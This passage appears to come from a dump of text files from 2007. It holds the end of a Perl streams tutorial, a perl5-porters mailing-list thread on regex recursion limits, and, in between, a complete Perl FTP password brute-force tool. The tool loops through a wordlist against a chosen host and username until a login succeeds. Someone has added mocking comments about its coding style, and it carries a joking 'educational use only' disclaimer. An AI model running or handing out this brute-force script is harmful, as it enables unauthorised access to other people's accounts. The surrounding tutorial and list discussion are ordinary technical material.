3358streams, you get a convenient notation for powerful data flow ideas,
3359and you can apply your experience in programming Unix shell pipelines.
3360
3361
3362 OTHER DIRECTIONS
3363
3364The implementation of streams in Stream.pm is wasteful of space and
3365time, because it uses an entire two-element hash to store each element
3366of the stream, and because finding the n'th element of a stream
3367requires following a chain of n references. A better implementation
3368would cache all the memoized stream elements in a single array where
3369they could be accessed conveniently. Our Most assiduous Reader might
3370like to construct such an implementation.
3371
3372A better programming interface for streams would be to tie the
3373`Stream' package to a list with the `tie' function, so that the stream
3374could be treated like a regular Perl array. Unfortunately, as the man
3375page says:
3376
3377 WARNING: Tied arrays are incomplete.
3378
3379
3380
3381References:
3382
3383_ML for the Working Programmer_, L.C. Paulson, Cambridge University
3384 Press, 1991, pp. 166--185.
3385
3386_Structure and Interpretation of Computer Programs_, Harold Abelson and
3387 Gerald Jay Sussman, MIT Press, 1985, pp. 242--286.
3388
3389
3390~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
3391-rw------- 1 puyou puyou 3768 2007-02-26 18:12 laugh/napta.txt
3392~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
3393
3394<Calvin> By golly, if people aren't burying toxic wastes or testing nuclear weapons,
3395 they're throwing trash everywhere!
3396
3397#!/usr/bin/perl
3398
3399#
3400# Bollocks to the bollocks
3401# FTP brute force tool
3402# Loads a password file and attacks a selected username until
3403# sucessful login.
3404#
3405# DISCLAIMER:
3406# This program was written for educational use only (haha!)
3407# I don't care what you do with it, but I'm not responsible for any trouble
3408# you get yourself into as a result of using this.
3409#
3410# Depends on:
3411# - Tie::File
3412#
3413# TODO:
3414# - Remove the need for Tie::File to make more portable.
3415#
3416
3417# Disclaimers suck
3418# Tie::File is core.
3419# Also, it is a lightweight module.
3420# Also, don't give such a shit about what is portable and what isn't,
3421# one can't always reinvent the wheel (and do so weakly!)
3422
3423use Socket;
3424use Tie::File;
3425
3426# strict, warnings, you know the deal
3427
3428$sucess = 0;
3429$i = 0;
3430$pass_file = @ARGV[2];
3431$hostname = @ARGV[0];
3432$port = 21;
3433@passfile;
3434$username = @ARGV[1];
3435
3436# my ($hostname, $username, $pass_file) = @ARGV;
3437# my ($success, $port, $i, @passfile) = (0,21,0);
3438
3439usage(); # Check argvs
3440load_passfile(); # Load passwords from text file
3441display_status();
3442
3443while ($i < $array_size && $sucess < 1) { # Main loop
3444
3445 $NETFD = &connect($hostname, $port);
3446
3447# Prototype for the death, no?
3448
3449 sysread $NETFD, $message,100 or
3450 die "Cannot read socket: $!\n";
3451
3452# sysread, the ultimate in advanced socket usage
3453
3454 $code = substr($message, 0, 3);
3455 if(($code) eq "220") {
3456
3457# if ($code == 220) {
3458 send($NETFD, "USER $username\n",0);
3459 sysread $NETFD, $message,100 or
3460 die "Cannot read socket: $!\n";
3461 send($NETFD, "PASS @passfile[$i]\n",0);
3462# rookie, you want $passfile[$i]
3463 print "Trying pass: @passfile[$i] ...\n";
3464 }
3465 else {
3466 print $message;
3467 die "No response from FTP server!\n";
3468 }
3469 # This could be a lot cleaner, put the error in its own if and run the rest without
3470
3471 sysread $NETFD, $message,100 or
3472 die "Cannot read socket: $!\n";
3473
3474 $code = substr($message, 0, 3);
3475 if (($code) eq "230") { # Whoohoo we got a login!
3476 send($NETFD, "QUIT\n",0);
3477 sysread $NETFD, $message,100 or
3478 die "Cannot read socket: $!\n";
3479 close $NETFD;
3480 print STDOUT " *** ! LOGIN SUCESSFUL ! ***\n";
3481 print STDOUT "Username: $username\n";
3482 print STDOUT "Password: @passfile[$i]\n";
3483 $sucess = "1";
3484
3485# $success = 1;
3486 }
3487 else { # Bad login :(
3488 $i++;
3489 }
3490
3491# ha. lamer.
3492
3493}
3494
3495
3496
3497#
3498## Create the socket
3499#
3500sub connect {
3501 my ($host, $port, $server, $pt,$pts, $proto, $servaddr);
3502 $host = $hostname;
3503# STUPID FUCK
3504 $pt = "21";
3505# STUPID FUCK
3506 $server = gethostbyname($host) or
3507 die "gethostbyname: cannot locate host: $!\n";
3508 $pts = getservbyport($pt, 'tcp') or
3509 die "getservbyname: cannot get port: $!\n";
3510 $proto = getprotobyname('tcp') or
3511 die " : $!";
3512 $servaddr = sockaddr_in($pt, $server);
3513 socket(CONNFD, PF_INET, SOCK_STREAM, $proto);
3514 connect(CONNFD, $servaddr) or
3515 die "connect: $!\n";
3516 return CONNFD;
3517}
3518
3519#
3520## Load password file into array
3521#
3522sub load_passfile { # Load password file
3523 tie @passfile, 'Tie::File', $pass_file;
3524 $array_size = @passfile;
3525 return $array_size;
3526# return scalar @passfile;
3527
3528}
3529
3530#
3531## Display output
3532#
3533sub display_status {
3534 print "Hostname: $hostname\n";
3535 print "Username: $username\n";
3536 print "Number of passwords loded: $array_size\n";
3537}
3538
3539sub usage {
3540 $numArgs = $#ARGV + 1;
3541# my $numArgs = scalar @ARGV;
3542# and, why bother?
3543 if (($numArgs) < 3) {
3544 print "Perl FTP brute force tool\n";
3545 print "Written by someone\n";
3546# no need to take credit for this piece of shit, Napta
3547 print "Usage: ./bruteforce [hostname] [username] [wordlist]\n";
3548 exit;
3549 }
3550}
3551
3552# Seriously, what is this shit? You can pass parameters to a function sometimes,
3553# but not always?
3554
3555# You code like you want to get shot.
3556
3557
3558~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
3559-rw------- 1 puyou puyou 28681 2007-02-26 18:12 school/p5p.txt
3560~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
3561
35621 Abigail Feb 14
3563 2 Demerphq Feb 14
3564 3 Abigail Feb 14
3565 4 Abigail Feb 14
3566 5 Demerphq Feb 14
3567 6 H.Merijn Brand Feb 14
3568 7 Rafael Garcia-Suarez Feb 14
3569 8 Rafael Garcia-Suarez Feb 14
3570 9 Yitzchak Scott-Thoennes Feb 14
3571 10 Demerphq Feb 14
3572 11 Paul Johnson Feb 14
3573 12 Abigail Feb 14
3574 13 Tels Feb 14
3575 14 Demerphq Feb 14
3576 15 h...@crypt.org Feb 14
3577 16 Demerphq Feb 15
3578 17 Demerphq Feb 15
3579 18 Robin Houston Feb 15
3580 19 Nicholas Clark Feb 15
3581 20 Demerphq Feb 15
3582 21 Robin Houston Feb 15
3583 22 h...@crypt.org Feb 15
3584
35851 Abigail Feb 14
3586
3587In bleadperl, there's a compiled in limit of 50 nested recursion
3588calls. If you exceed the limit, your program dies.
3589
3590I think this limit is too low. I took the grammar for email addresses
3591from RFC2822 and turned it into a regular expression (see below).
3592
3593Matching 'abig...@abigail.be' against the regexp engine exceeds the
3594limit of 50 nested recursion calls. Increasing the limit to 500 makes
3595the match succeed.
3596
3597No doubt the regexp could have been written in such a way that the
3598limit isn't reached. But the regexp was constructed fairly mechanically
3599from the BNF.
3600
3601Regardless of the actualy limit, I think dying is quite harsh.
3602
3603Therefore, I propose three things:
3604
3605 1) Up the default limit of 50.
3606 2) Allow a Configure option to set the limit to something else
3607 than the default.
3608 3) If the recursion limit is exceeded, fail the match and throw
3609 a *warning*. Don't die.
3610
3611Abigail
3612
3613#!/opt/perl/current/bin/perl
3614
3615use strict;
3616use warnings;
3617no warnings 'syntax';
3618
3619my $email_address = qr {
3620 (?(DEFINE)
3621 (?<address> (?&mailbox) | (?&group))
3622 (?<mailbox> (?&name_addr) | (?&addr_spec))
3623 (?<name_addr> (?&display_name)? (?&angle_addr))
3624 (?<angle_addr> (?&CFWS)? < (?&addr_spec) > (?&CFWS)?)
3625 (?<group> (?&display_name) : (?:(?&mailbox_list) | (?&CFWS))? ;
3626 (?&CFWS)?)
3627 (?<display_name> (?&phrase))
3628 (?<mailbox_list> (?&mailbox) (?: , (?&mailbox))*)
3629 (?<address_list> (?&address) (?: , (?&address))*)
3630
3631 (?<addr_spec> (?&local_part) \@ (?&domain))
3632 (?<local_part> (?&dot_atom) | (?"ed_string))
3633 (?<domain> (?&dot_atom) | (?&domain_literal))
3634 (?<domain_literal> (?&CFWS)? \[ (?: (?&FWS)? dcontent)* (?&FWS)?
3635 \] (?&CFWS)?)
3636 (?<dcontent> (?&dtext) | (?"ed_pair))
3637 (?<dtext> (?&NO_WS_CTL) | [\x21-\x5a\x5e-\x7e])
3638
3639 (?<atext> (?&ALPHA) | (?&DIGIT) | [!#\$%&'*+-/=?^_`{|}~])
3640 (?<atom> (?&CFWS)? (?&atext)+ (?&CFWS)?)
3641 (?<dot_atom> (?&CFWS)? (?&dot_atom_text) (?&CFWS)?)
3642 (?<dot_atom_text> (?&atext)+ (?: \. (?&atext)+)*)
3643
3644 (?<text> [\x01-\x09\x0b\x0c\x0e-\x7f])
3645 (?<quoted_pair> \\ (?&text))
3646
3647 (?<qtext> (?&NO_WS_CTL) | [\x21\x23-\x5b\x5d-\x7e])
3648 (?<qcontent> (?&qtext) | (?"ed_pair))
3649 (?<quoted_string> (?&CFWS)? (?&DQUOTE) (?:(?&FWS)? (?&qcontent))*
3650 (?&FWS)? (?&DQUOTE) (?&CFWS)?)
3651
3652 (?<word> (?&atom) | (?"ed_string))
3653 (?<phrase> (?&word)+)
3654
3655 # Folding white space
3656 (?<FWS> (?: (?&WSP)* (?&CRLF))? (?&WSP)+)
3657 (?<ctext> (?&NO_WS_CTL) | [\x21-\x27\x2a-\x5b\x5d-\x7e])
3658 (?<ccontent> (?&ctext) | (?"ed_pair) | (?&comment))
3659 (?<comment> \( (?: (?&FWS)? (?&ccontent))* (?&FWS)? \) )
3660 (?<CFWS> (?: (?&FWS)? (?&comment))*
3661 (?: (?:(?&FWS)? (?&comment)) | (?&FWS)))
3662
3663 # No whitespace control
3664 (?<NO_WS_CTL> [\x01-\x08\x0b\x0c\x0e-\x1f\x7f])
3665
3666 (?<ALPHA> [A-Za-z])
3667 (?<DIGIT> [0-9])
3668 (?<CRLF> \x0d \x0a)
3669 (?<DQUOTE> ")
3670 (?<WSP> [\x20\x09])
3671 )
3672
3673 (?&address)
3674
3675}x;
3676
3677foreach (<DATA>) {
3678 chomp;
3679 print qq ["$_" is ], /^$email_address$/ ? "" : "not ",
3680 "a valid address.\n";
3681
3682}
3683
3684__DATA__
3685abig...@abigail.be
3686 application_pgp-signature_part
36871K Download
3688
3689
3690 Reply Reply to author Forward Rate this post:
3691
3692
3693
36942. Demerphq View profile
3695 More options Feb 14, 12:31 pm
3696
3697On 2/14/07, Abigail <abig...@abigail.be> wrote:
3698
3699
3700> In bleadperl, there's a compiled in limit of 50 nested recursion
3701> calls. If you exceed the limit, your program dies.
3702
3703This is not strictly correct, the restriction is that 50 nested
3704recursion calls /without consuming data/ will result in a die.
3705
3706
3707- Show quoted text -
3708Im happy with all three of these.
3709
3710I was just worried about infinite recursion and punted. If you think
3711the behaviour is suboptimal then we should change it.
3712
3713What should the default be you think? 500? 512?
3714
3715I leave the configure option up to Tux I guess. (actually there are a
3716few other regex related defines that maybe should be handled by
3717Configure as well).
3718
3719cheers,
3720Yves
3721
3722--
3723perl -Mre=debug -e "/just|another|perl|hacker/"
3724
3725 Reply Reply to author Forward Rate this post:
3726
3727
3728
37293. Abigail View profile
3730 More options Feb 14, 12:37 pm
3731
3732
3733
3734On Wed, Feb 14, 2007 at 06:31:10PM +0100, demerphq wrote:
3735> On 2/14/07, Abigail <abig...@abigail.be> wrote:
3736
3737> >In bleadperl, there's a compiled in limit of 50 nested recursion
3738> >calls. If you exceed the limit, your program dies.
3739
3740> This is not strictly correct, the restriction is that 50 nested
3741> recursion calls /without consuming data/ will result in a die.
3742
3743Yes, that makes sense.
3744
3745
3746- Show quoted text -
3747I don't know (yet?). Perhaps we should go for 512 now and have people
3748play with it (I will). Only if people play with it we will know whether
3749512 is enough.
3750
3751Abigail
3752 application_pgp-signature_part
37531K Download
3754
3755
3756 Reply Reply to author Forward Rate this post:
3757
3758
3759
3760
37614. Abigail View profile
3762 More options Feb 14, 12:47 pm
3763
3764
3765
3766
3767- Show quoted text -
3768That would be very nice as that would allow people to increase
3769the recursion limit for some expressions while keeping the default
3770for others.
3771
3772Perhaps it would even be possible to allow $^REG_MAX_RECURSE = 0
3773which will turn the check off entirely.
3774
3775Hmmm.
3776
3777 /(?{ $^REG_MAX_RECURSE = 1000 })
3778 ... Pattern that can recurse heavily ... /
3779
3780Abigail
3781 application_pgp-signature_part
37821K Download
3783
3784
3785 Reply Reply to author Forward Rate this post:
3786
3787
3788
3789
37905. Demerphq View profile
3791 More options Feb 14, 12:40 pm
3792
3793On 2/14/07, Abigail <abig...@abigail.be> wrote:
3794
3795
3796- Show quoted text -
3797Maybe we could make it a magic var. $^REG_MAX_RECURSE or something...
3798
3799Then people wouldnt need to rebuild to work around the problem.
3800
3801Yves
3802
3803--
3804perl -Mre=debug -e "/just|another|perl|hacker/"
3805
3806 Reply Reply to author Forward Rate this post:
3807
3808
3809
3810
38116. H.Merijn Brand View profile
3812 More options Feb 14, 1:47 pm
3813
3814
3815
3816- Show quoted text -
3817IMHO making it Configure-able is *BAD*.
3818That would mean that your module, carefully tested on all your architectures
3819and OS's - that of course all have a higher than default limit - will
3820suddenly start to crash on target systems that use the default.
3821
3822I would *really* prefer something settable at runtime.
3823
3824> I leave the configure option up to Tux I guess. (actually there are a
3825> few other regex related defines that maybe should be handled by
3826> Configure as well).
3827
3828--
3829H.Merijn Brand Amsterdam Perl Mongers (http://amsterdam.pm.org/)
3830using & porting perl 5.6.2, 5.8.x, 5.9.x on HP-UX 10.20, 11.00, 11.11,
3831& 11.23, SuSE 10.0 & 10.2, AIX 4.3 & 5.2, and Cygwin. http://qa.perl.org
3832http://mirrors.develooper.com/hpux/ http://www.test-smoke.org
3833 http://www.goldmark.org/jeff/stupid-disclaimers/
3834
3835 Reply Reply to author Forward Rate this post:
3836
3837
3838
3839
38407. Rafael Garcia-Suarez View profile
3841 More options Feb 14, 12:31 pm
3842
3843On 14/02/07, Abigail <abig...@abigail.be> wrote:
3844
3845
3846- Show quoted text -
3847I think that's reasonable.
3848
3849> 2) Allow a Configure option to set the limit to something else
3850> than the default.
3851
3852Use -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500 :
3853
3854Change 30293 on 2007/02/14 by rgs@benny
3855 Allow to override MAX_RECURSE_EVAL_NOCHANGE_DEPTH,
3856 introduced in change 28939 (this should be documented)
3857
3858> 3) If the recursion limit is exceeded, fail the match and throw
3859> a *warning*. Don't die.
3860
3861A warning ? And risking a segfault ?
3862
3863 Reply Reply to author Forward Rate this post:
3864
3865
3866
3867
38688. Rafael Garcia-Suarez View profile
3869 More options Feb 14, 12:35 pm
3870
3871
3872I wrote:
3873> > 3) If the recursion limit is exceeded, fail the match and throw
3874> > a *warning*. Don't die.
3875
3876> A warning ? And risking a segfault ?
3877
3878Excuse me, I'm blind. Yes, I completely agree with 3 too.
3879
3880 Reply Reply to author Forward Rate this post:
3881
3882
3883
3884
38859. Yitzchak Scott-Thoennes View profile
3886 More options Feb 14, 1:19 pm
3887
3888Rafael Garcia-Suarez <rgarciasuarez <at> gmail.com> writes:
3889
3890> On 14/02/07, Abigail <abigail <at> abigail.be> wrote:
3891> > 2) Allow a Configure option to set the limit to something else
3892> > than the default.
3893
3894> Use -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500 :
3895
3896Shouldn't that have REGEX somewhere in the name?
3897
3898> > 3) If the recursion limit is exceeded, fail the match and throw
3899> > a *warning*. Don't die.
3900
3901But you don't know whether the string actually matches the regex or not.
3902To fail the match would be lying.
3903
3904--
3905I'm looking for work: http://perlmonks.org/?node=ysth#looking
3906
3907 Reply Reply to author Forward Rate this post:
3908
3909
3910
3911
391210. Demerphq View profile
3913 More options Feb 14, 3:28 pm
3914
3915On 2/14/07, Yitzchak Scott-Thoennes <sthoe...@efn.org> wrote:
3916
3917> > On 14/02/07, Abigail <abigail <at> abigail.be> wrote:
3918> > > 3) If the recursion limit is exceeded, fail the match and throw
3919> > > a *warning*. Don't die.
3920
3921> But you don't know whether the string actually matches the regex or not.
3922> To fail the match would be lying.
3923
3924I think I have to retract my earlier postion, I think you are right
3925here. Failing would be more wrong than dieing.
3926
3927Yves
3928
3929--
3930perl -Mre=debug -e "/just|another|perl|hacker/"
3931
3932
393311. Paul Johnson
3934
3935May I present a dissenting opinion?
3936
3937I can imagine this leading to portability problems where a regex "works" on
3938one perl and doesn't on another. I would prefer to have a higher limit, if
3939this one might be hit by a reasonable regex. At the least, I would imagine
3940that this parameter should be output as part of perl -V.
3941
3942Making it settable at runtime is another option of course.
3943
3944What is the problem with having it set to a very large value? Memory? Stack?
3945Time? Something else?
3946
3947But then, I'd also like to increase the standard subroutine recursion limit,
3948since it seems that two of my three CPAN modules seem to hit it fairly
3949regularly, as has recently been noted.
3950
3951And hardly anyone uses the other module ;-)
3952
3953
3954PS On rereading I note that Rafael seems to be saying that upping the default
3955limit is reasonable, where I had originally read that as saying the current
3956default limit was reasonable.
3957
3958--
3959Paul Johnson - paul@pjcj.net
3960http://www.pjcj.net
3961
3962
3963
396412. Abigail
3965
3966That is true, but we already have that. A program that works on a version
3967of Perl with threads enabled may not work on a version of Perl without.
3968A program that works correctly on a version of Perl with 64 bit integers
3969may not work on a version of Perl that uses 32 bit integers.
3970
3971Besides, I believe that the majority of the Perl programs that are
3972written are not intended to be distributed. Should we tell someone "no,
3973you cannot configure the (arbitrary) recursion limit, because we think you
3974may write a regexp that you will distribute"? I think that we should make
3975it easy to write portable programs, but we shouldn't force portability
3976upon others, specially not if it takes away freedom. Portability should
3977remain a choice.
3978
3979Furthermore, even without a Configure option, people can always patch
3980the source, so you cannot prevent it anyway.
3981
3982Finally, were I to distribute regexes that would hit the default recursion
3983limit, I much rather document the Configure option they need to use to
3984rebuild their perl, than which line in which file to modify. A Configure
3985option is more likely to remain constant between versions than a line number.
3986
3987Of course, if the limit is settable at run time, the issue become less
3988pressing. But even then I still prefer to have the Configure option.
3989Even if it's as long -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500.
3990
3991
3992
3993Abigail
3994
3995
399613. Tels
3997
3998-----BEGIN PGP SIGNED MESSAGE-----
3999Hash: SHA1
4000
4001Moin,
4002
4003[snip]
4004
4005
4006- Show quoted text -
4007We have the same limit with memory, btw. Runs with 256Mbyte, doesn't run
4008with 10Mbyte.
4009
4010But that is not a reason to add even more of these limits :D
4011
4012>Besides, I believe that the majority of the Perl programs that are
4013>written are not intended to be distributed.
4014
4015I think this is irrelevant to the discussion at hand :)
4016
4017>Should we tell someone "no, you cannot configure the (arbitrary) recursion
4018>limit, because we think you may write a regexp that you will distribute"?
4019>I think that we should make it easy to write portable programs, but we
4020>shouldn't force portability upon others, specially not if it takes away
4021>freedom. Portability should remain a choice.
4022
4023Yep, but read on for my opinion:
4024
4025>Furthermore, even without a Configure option, people can always patch
4026>the source, so you cannot prevent it anyway.
4027
4028Right, too,but read on:
4029
4030>Finally, were I to distribute regexes that would hit the default recursion
4031>limit, I much rather document the Configure option they need to use to
4032>rebuild their perl, than which line in which file to modify. A Configure
4033>option is more likely to remain constant between versions than a line
4034>number.
4035
4036>Of course, if the limit is settable at run time, the issue become less
4037>pressing. But even then I still prefer to have the Configure option.
4038>Even if it's as long -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500.
4039
4040We already have such a limit: normal recursion.
4041
4042You cannot configure it, but you can disable it locally at runtime. And
4043everytime you write a recursive routine you pretty much need to disable it,
4044because you do not know what data is feed to that routine, and hence cannot
4045know how deep it recurses.
4046
4047So, if the deep recursion of the regexp is data dependend (aka the string it
4048matches), you need to disable that limit temporarily. Not just set it to an
4049arbitrary number like 1000. This *will* blow up on some data.[0]
4050
4051If the recursion is not data dependend (i believe it is, but I am not sure),
4052but is purely bound by the constructed regexp, then you still need a way to
4053set this limit to infite (aka disable it), because regexp can be
4054constructed at runtime from user data, and this data can blow any arbitrary
4055limit you set.
4056
4057Who knows, maybe it is ok to recurse 10000 times and then match.
4058
4059So I strongly argue in favour of a runtime setting to disable this limit.
4060
4061Bonus points if you can make this only warn, not die.
4062More bonus points if the default limit can be set by configure at compile
4063time, but this is actually quite moot, since every program that expects to
4064hit some limit needs to disable that check temp. at the right place,
4065anyway.
4066
4067Best wishes,
4068
4069Tels
4070
4071[0] Finding out wether your routine will never go beyond X recursions
4072amounts basically to solving the halting problem. It can be determied for
4073fixed inputs, maybe even for some entire classes of inputs, but if you
4074allow arbitrarily input the limit is basically arbitrarily big, too :)
4075
4076- --
4077 Signed on Wed Feb 14 20:46:34 2007 with key 0x93B84C15.
4078 Get one of my photo posters: http://bloodgate.com/posters
4079 PGP key on http://bloodgate.com/tels.asc or per email.
4080
4081 "My name is Felicity Shagwell. Shagwell by name, shag very well by
4082 reputation."
4083
4084-----BEGIN PGP SIGNATURE-----
4085Version: GnuPG v1.4.2 (GNU/Linux)
4086
4087iQEVAwUBRdNpS3cLPEOTuEwVAQKv2Af9Eu2OoGXgdeQXjyGF8/uN99RW92Am5nyM
4088oeK29MqWLIP808hvT4gsUyu8mrpXTHlCkp3hIrDPw6100Y+SqCfxcu/vvp/6JzbY
4089nE7Z1R67FyNdvCwFnvGa1hv7qgINnHwxG6BDhI7p6YbdemY1i7MIFiCshXUBQNzm
4090ZEJ3ja/cR1WN8nU7K0Fl6FeieKRRPjSfmXu4DlwnmzOSvIgPwAmvIEwSkvX0vpF/
4091VeShmTjoVK4AyE1uzolwGauD/4017ibDWeRiwi26mi+RH80F5loAWiPxk0W8AB6k
40923gSiKLwE2WqDQOrFZZaaHe+4f6Fkdv1hTEjcqdJlVLulx7/6+rb0Ww==
4093=R6xQ
4094-----END PGP SIGNATURE-----
4095
4096 Reply Reply to author Forward Rate this post:
4097
4098
4099
410014. Demerphq View profile
4101 More options Feb 14, 3:21 pm
4102
4103On 2/14/07, Tels <nospam-ab...@bloodgate.com> wrote:
4104
4105
4106- Show quoted text -
4107Just wanted to make clear, this isnt recursion in any normal concept
4108of the word. This is pattern recursion (inside of a while loop no
4109less!), on the HEAP, not the stack, and only applies to the case where
4110a recursive pattern does not consume any input before recursing, and
4111is there to prevent infinite loops either intentional or accidental.
4112
4113So for instance (?<x>a(?&x)?) will never hit the limit regardless of
4114how many times it recurses. Wheras (?<x>(?&x)?a) will die with a
4115warning when it hits the limit.
4116
4117> Bonus points if you can make this only warn, not die.
4118> More bonus points if the default limit can be set by configure at compile
4119> time, but this is actually quite moot, since every program that expects to
4120> hit some limit needs to disable that check temp. at the right place,
4121> anyway.
4122
4123But at least they can do so. And it shouldnt be impossible to
4124determine how deep the recursion needs to go before it will consume
4125data. This is strictly to prevent left recursion without adding to
4126much of a cost to the compilation phase. If somebody can come up with
4127a better approach to detecting true left recursion then we could get
4128rid of the limit outright. (Actually not true, the same rule applies
4129to eval as well.)
4130
4131cheers,
4132Yves
4133--
4134perl -Mre=debug -e "/just|another|perl|hacker/"
4135
4136 Reply Reply to author Forward Rate this post:
4137
4138
4139
414015. h...@crypt.org View profile
4141 More options Feb 14, 11:17 pm
4142
4143demerphq <demer...@gmail.com> wrote:
4144
4145:Just wanted to make clear, this isnt recursion in any normal concept
4146:of the word. This is pattern recursion (inside of a while loop no
4147:less!), on the HEAP, not the stack, and only applies to the case where
4148:a recursive pattern does not consume any input before recursing, and
4149:is there to prevent infinite loops either intentional or accidental.
4150
4151Ah, so failure mode is "out of memory" rather than SEGV? Seems no worse
4152than the existing possibility of function call recursion then, and
4153should be handled the same way - warn at a set limit if 'recursion'
4154warnings are enabled, but other than that let it roll. C< use fatal >
4155when you want severer behaviour than that.
4156
4157Note that I have one program which regularly breaches 64k levels
4158of function call recursion, which prompted me to find and fix a bug
4159at that threshold. The same program has never managed to run out of
4160memory.
4161
4162Hugo
4163
4164 Reply Reply to author Forward Rate this post:
4165
4166
4167
416816. Demerphq View profile
4169 More options Feb 15, 2:32 am
4170
4171On 2/15/07, h...@crypt.org <h...@crypt.org> wrote:
4172
4173> demerphq <demer...@gmail.com> wrote:
4174> :Just wanted to make clear, this isnt recursion in any normal concept
4175> :of the word. This is pattern recursion (inside of a while loop no
4176> :less!), on the HEAP, not the stack, and only applies to the case where
4177> :a recursive pattern does not consume any input before recursing, and
4178> :is there to prevent infinite loops either intentional or accidental.
4179
4180> Ah, so failure mode is "out of memory" rather than SEGV? Seems no worse
4181> than the existing possibility of function call recursion then, and
4182> should be handled the same way - warn at a set limit if 'recursion'
4183> warnings are enabled, but other than that let it roll. C< use fatal >
4184> when you want severer behaviour than that.
4185
4186I dont think this is the right approach, its common for programs to
4187allow regexes to be supplied by the user, its very rare for programs
4188to allow recursive subroutines to be supplied by the user.
4189
4190> Note that I have one program which regularly breaches 64k levels
4191> of function call recursion, which prompted me to find and fix a bug
4192> at that threshold. The same program has never managed to run out of
4193> memory.
4194
4195If the rules in a regex are left recursive unless limited it will loop
4196until it eats all the memory. Its that simple.
4197
4198Yves
4199
4200--
4201perl -Mre=debug -e "/just|another|perl|hacker/"
4202
4203 Reply Reply to author Forward Rate this post:
4204
4205
4206
420717. Demerphq View profile
4208 More options Feb 15, 10:22 am
4209
4210On 2/15/07, Robin Houston <r...@cpan.org> wrote:
4211
4212> It seems to me that it should usually be easy to detect infinite
4213> looping at run-time, without the need to impose a hard limit on
4214> recursion depth.
4215
4216> If the number of nested calls, without consuming any input, exceeds
4217> the number of callable subexpressions in the pattern, then we must be
4218> in a loop. (If I have passed 100 trees in a forest containing 99
4219> trees, then I must have passed at least one of them more than once,
4220> so my route must have contained a cycle.)
4221
4222Ah yes, of course. Good call.
4223
4224> Of course, this reasoning doesn't work if the regular expression
4225> contains embedded code, so we'd have to fall back to a cruder
4226> counting mechanism in that, presumably very unusual, case.
4227
4228Currently we use a single counter for both. To do this we would have
4229to separate the two wouldnt we?
4230
4231> The other thing that puzzles me is that Abigail's regex contains
4232> fewer than fifty subroutines, so by my reasoning the recursion-depth-
4233> without-consuming-input could not possibly exceed 50 unless there's
4234> an actual infinite loop (which there isn't). I can only conclude that
4235> the current check is not accurately measuring this recursion depth.
4236> Looking at regexec.c, I can't see any place where nochange_depth is
4237> decremented (when returning from a subroutine call). Is that the
4238> reason for the discrepancy?
4239
4240Yes i think you are right. The tricky part is we use the same state
4241hooks for handling recursion and what follows recursion. But i think
4242ive worked out how to handle that.
4243
4244Ill post a patch soon.
4245
4246Yves
4247
4248--
4249perl -Mre=debug -e "/just|another|perl|hacker/"
4250
4251 Reply Reply to author Forward Rate this post:
4252
4253
4254
425518. Robin Houston View profile
4256 More options Feb 15, 12:13 pm
4257
4258On 15 Feb, 2007, at 15:22, demerphq wrote:
4259
4260> Currently we use a single counter for both. To do this we would have
4261> to separate the two wouldnt we?
4262
4263I'm not sure there's a need to separate the counters, exactly. What I
4264meant is: using embedded code it's possible to create a situation
4265where the number of nested recursion calls, without consuming input,
4266exceeds the number of callable sub-patterns, but which is not
4267actually an infinite loop.
4268
4269Here's a silly example:
4270
4271 /(?<p>(??{$n++<100 ? "" : "a"})(?&p))/
4272
4273In fact that will trigger the "Infinite recursion in regex" error,
4274erroneously you could argue. Here's one that doesn't produce the error:
4275
4276 /(?<p>(??{$n++<100 ? "" : "a"})(?&q))(?<q>(?&p))/
4277
4278So, if the regex contains embedded code, it's not generally safe to
4279assume
4280that there's an infinite loop just because the recursion depth has
4281exceeded the number of callable subpatterns.
4282
4283In that case, I guess the only thing to do is to fall back to a fixed
4284or configurable limit.
4285
4286Robin
4287
4288 Reply Reply to author Forward Rate this post:
4289
4290
4291
4292
429319. Nicholas Clark View profile
4294 More options Feb 15, 12:36 pm
4295
4296
4297On Thu, Feb 15, 2007 at 08:32:08AM +0100, demerphq wrote:
4298> If the rules in a regex are left recursive unless limited it will loop
4299> until it eats all the memory. Its that simple.
4300
4301Is that detectable at compile time?
4302
4303(Yes, this might be a naive question from me. I can see that it's already
4304not easy to detect if two or more rules refer to each other in a loop, so
4305that they mutually recurse)
4306
4307Assuming it's not easy to detect at compile time, is it going to be common
4308to write regexps that are recurse to a great depth before consuming input,
4309but don't recurse infinitely?
4310
4311Nicholas Clark
4312
4313 Reply Reply to author Forward Rate this post:
4314
4315
4316
431720. Demerphq View profile
4318 More options Feb 15, 12:43 pm
4319
4320On 2/15/07, Nicholas Clark <n...@ccl4.org> wrote:
4321
4322> On Thu, Feb 15, 2007 at 08:32:08AM +0100, demerphq wrote:
4323
4324> > If the rules in a regex are left recursive unless limited it will loop
4325> > until it eats all the memory. Its that simple.
4326
4327> Is that detectable at compile time?
4328
4329> (Yes, this might be a naive question from me. I can see that it's already
4330> not easy to detect if two or more rules refer to each other in a loop, so
4331> that they mutually recurse)
4332
4333Yes its detectable.
4334
4335> Assuming it's not easy to detect at compile time, is it going to be common
4336> to write regexps that are recurse to a great depth before consuming input,
4337> but don't recurse infinitely?
4338
4339Its not so much thats its not easy, it probably is in terms of the
4340algorithm, its more that its timeconsuming and would require a fair
4341amount of work with one of the nastiest routines in the perl core
4342(study_chunk).
4343
4344But yes i think it will be quite common to see this. Essentially its
4345what would happen as the parser traces through the internal nodes
4346seeking a leaf. However Robins point means for pure recursion we wont
4347ever have a problem, with mixed recursion/eval or eval alone we will
4348still use the hard limit, but in my earlier patch i raised it to 1000
4349until it becomes a magic var.
4350
4351Yves
4352
4353--
4354perl -Mre=debug -e "/just|another|perl|hacker/"
4355
4356
435721. Robin Houston
4358
4359It seems to me that it should usually be easy to detect infinite
4360looping at run-time, without the need to impose a hard limit on
4361recursion depth.
4362
4363If the number of nested calls, without consuming any input, exceeds
4364the number of callable subexpressions in the pattern, then we must be
4365in a loop. (If I have passed 100 trees in a forest containing 99
